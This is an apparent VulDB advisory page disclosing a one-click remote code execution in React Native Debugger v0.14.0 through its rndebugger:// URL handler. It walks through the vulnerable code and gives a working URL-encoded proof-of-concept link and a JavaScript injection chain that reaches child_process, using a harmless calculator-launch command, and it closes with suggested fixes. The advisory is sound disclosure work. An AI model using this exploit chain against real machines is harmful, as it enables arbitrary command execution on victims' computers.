| Название | React Native Debugger v0.14.0 Improper Control of Generation of Code |
|---|
| Описание | ### Summary
We found a one-click remote code execution (RCE) in the latest version (v0.14.0) of [React Native Debugger](https://github.com/jhen0409/react-native-debugger) triggered from a custom URL of the form `rndebugger://`.
An attacker can exploit it when a victim:
- visits a malicious page that auto-navigates to a crafted `rndebugger://` URL, or
- clicks a crafted `rndebugger://` link on a legitimate site (e.g. user-generated content).
The browser hands the URL to the app's `rndebugger://` handler, which launches the app and processes it. The `host` query parameter flows — unsanitized — into a JavaScript string executed via `devToolsWebContents.executeJavaScript(...)`, and from there into the node-integrated renderer, yielding arbitrary OS command execution. Root cause: `host` is interpolated raw into a script with no escaping or validation.
### Affected versions
`react-native-debugger` **0.14.0** (Electron `^25.3.0`, protocol `rndebugger`). The vulnerable code is present on the current default branch.
### Details
React Native Debugger auto-opens Chrome DevTools and injects a "catch console log link" helper script into the DevTools page. The custom-URL `host` value is threaded into that script unsanitized, and a bundled helper extension bridges the injection from the DevTools page into the node-integrated renderer.
#### 0. Scheme registration and entry points
The `rndebugger://` scheme is registered at packaging time:
https://github.com/jhen0409/react-native-debugger/blob/bd3435a456a29e1eda017ad37b94451834b4ee3a/scripts/package-macos.sh#L37-L38
https://github.com/jhen0409/react-native-debugger/blob/bd3435a456a29e1eda017ad37b94451834b4ee3a/scripts/config.json#L6
Three entry points — macOS `open-url`, and the Linux/Windows second-instance and cold-start argv paths — all converge on `handleURL`:
https://github.com/jhen0409/react-native-debugger/blob/bd3435a456a29e1eda017ad37b94451834b4ee3a/electron/url-handle/handleURL.js#L54-L56
https://github.com/jhen0409/react-native-debugger/blob/bd3435a456a29e1eda017ad37b94451834b4ee3a/electron/main.js#L46-L60
#### 1. Deep-link parsing: no validation on `host`
`handleURL` calls `parseUrl`, which gates on the host token `set-debugger-loc` and extracts the query params. `host` passes through `resolveHost`, which only substitutes `'localhost'` for empty/`'undefined'`/`'null'` — **no character filtering**:
https://github.com/jhen0409/react-native-debugger/blob/bd3435a456a29e1eda017ad37b94451834b4ee3a/electron/url-handle/handleURL.js#L22-L36
```js
const resolveHost = (host) => (
!host || host === 'undefined' || host === 'null' ? 'localhost' : host
)
export const parseUrl = (_url) => {
const route = url.parse(_url)
if (route.host !== 'set-debugger-loc') return
const { host, port, projectRoots } = qs.parse(route.query)
return {
host: resolveHost(host), // arbitrary string survives verbatim
port: Number(port) || 8081, // coerced to number (not injectable)
projectRoots: filterPaths(...), // lstat-filtered (not injectable)
}
}
```
The result is serialized to the renderer over IPC; `host` is the only attacker-controlled string that survives (`port` is coerced to a number, `projectRoots` is `lstat`-filtered).
#### 2. Arity bug → raw interpolation into `executeJavaScript`
In the renderer, the `set-debugger-loc` listener calls `catchConsoleLogLink(win, host, port)`, which calls `getCatchConsoleLogScript(host, port)` — but that function is declared `(port) => …`. The **first** argument (attacker `host`) lands in the `port` template slot, interpolated **raw** into a script run via `executeJavaScript`:
https://github.com/jhen0409/react-native-debugger/blob/bd3435a456a29e1eda017ad37b94451834b4ee3a/app/containers/App.js#L71-L74
https://github.com/jhen0409/react-native-debugger/blob/bd3435a456a29e1eda017ad37b94451834b4ee3a/electron/devtools.js#L1-L37
```js
export const getCatchConsoleLogScript = (port) => `
window.__RN_PACKAGER_MATCHER__ = /^http:\\/\\/[^:]+:${port}/; // raw interpolation
...`
export const catchConsoleLogLink = (win, host = 'localhost', port = 8081) => {
if (win.devToolsWebContents) {
return win.devToolsWebContents.executeJavaScript(`(() => {
${getCatchConsoleLogScript(host, port)} // host passed as the "port" param
})()`)
}
}
```
Because `host` lands between `:` and `/;` inside a regex literal, setting `host = 8081/;<ATTACKER_JS>;//` closes the regex and appends arbitrary JS that runs inside `devToolsWebContents` (the DevTools frontend page). DevTools is auto-opened for the primary window, so the sink is live by default:
https://github.com/jhen0409/react-native-debugger/blob/bd3435a456a29e1eda017ad37b94451834b4ee3a/electron/window.js#L132
#### 3. Escalation: DevTools page → devtools-helper → renderer `child_process`
The inspected renderer runs with `nodeIntegration: true` and no context isolation:
https://github.com/jhen0409/react-native-debugger/blob/bd3435a456a29e1eda017ad37b94451834b4ee3a/electron/window.js#L102-L103
The DevTools page has no `require`, but the bundled `devtools-helper` extension (loaded as an iframe in the DevTools page) listens for `postMessage` and interpolates its `source` field into `chrome.devtools.inspectedWindow.eval`, which runs **in the renderer**:
https://github.com/jhen0409/react-native-debugger/blob/bd3435a456a29e1eda017ad37b94451834b4ee3a/dist/devtools-helper/main.js#L12-L24
```js
window.addEventListener('message', ({ data }) => {
if (data.type !== 'open-in-editor') return;
const arr = data.source.split(':');
const lineNumber = arr.pop(-1);
const file = arr.join(':');
chrome.devtools.inspectedWindow.eval(
`if (window.openInEditor) { window.openInEditor('${file}', ${Number(lineNumber)}); }`
);
});
```
The JS injected in step 2 finds this iframe and posts a crafted `source` that breaks out of the `if (window.openInEditor)` guard:
```js
(function(){
var h = document.querySelector('iframe[data-devtools-extension="RNDebugger devtools helper"]');
if (h && h.contentWindow) h.contentWindow.postMessage({
type: 'open-in-editor',
source: "x');\n}\nrequire('child_process').exec('open -a Calculator');\n{//:1"
}, '*');
})()
```
After `source.split(':')`, `file` = `x');\n}\nrequire('child_process').exec('open -a Calculator');\n{//` and `lineNumber = 1`. The eval closes the `if` block, runs `require('child_process').exec('open -a Calculator')`, and the trailing `{//` opens a block whose `//` comments out the template's residual `', 1);` — leaving syntactically valid JS. Result: OS command execution in the renderer.
### PoC
The `host` parameter carries the entire step-3 payload, URL-encoded. Navigate to this link in a browser and click **"Open React Native Debugger"** — Calculator launches (macOS):
```
rndebugger://set-debugger-loc?host=8081%2F%3B%28function%28%29%7Bvar%20h%3Ddocument.querySelector%28%27iframe%5Bdata-devtools-extension%3D%22RNDebugger%20devtools%20helper%22%5D%27%29%3Bif%28h%26%26h.contentWindow%29%7Bh.contentWindow.postMessage%28%7Btype%3A%27open-in-editor%27%2Csource%3A%22x%27%29%3B%5Cn%7D%5Cnrequire%28%27child_process%27%29.exec%28%27open%20-a%20Calculator%27%29%3B%5Cn%7B%2F%2F%3A1%22%7D%2C%27%2A%27%29%3B%7D%7D%29%28%29%3B%2F%2F
```
Decoded, `host` is `8081/;` (which closes the regex literal) followed by the step-3 IIFE and a trailing `;//` that comments out the template's residual `/;`. The victim's only action is the browser's "open app" prompt.
### Impact
One-click RCE on any machine with React Native Debugger installed. The sink (`devToolsWebContents.executeJavaScript`) requires DevTools to be open, which is the **default** for the primary window (`electron/window.js:132`, `openDevTools()` when `!isPortSettingRequired`), so a default install is exploitable with no action beyond the "open app" prompt. Present in the latest release (v0.14.0).
### Suggested fix
- Validate/escape `host` in `resolveHost` (hostname/IP allow-list) and fix the arity bug so `host` is not passed into the `port` slot of `getCatchConsoleLogScript`; JSON-encode any value interpolated into an `executeJavaScript` string.
- Harden the `devtools-helper` bridge: validate `data.source` and pass structured arguments instead of concatenating into `chrome.devtools.inspectedWindow.eval`.
- Disable `nodeIntegration` / enable `contextIsolation` for the debugger renderer window.
|
|---|
| Источник | ⚠️ https://gist.github.com/Suuuuuzy/d25baf1973fd3c812277e02cde2243cc |
|---|
| Пользователь | Jianjia Yu (UID 86953) |
|---|
| Представление | 30.07.2026 04:24 (2 месяцы назад) |
|---|
| Модерация | 24.09.2026 15:50 (2 months later) |
|---|
| Статус | принято |
|---|
| Запись VulDB | 409351 [jhen0409 react-native-debugger до 0.14.0 Open in Editor electron/window.js openDevTools host эскалация привилегий] |
|---|
| Баллы | 20 |
|---|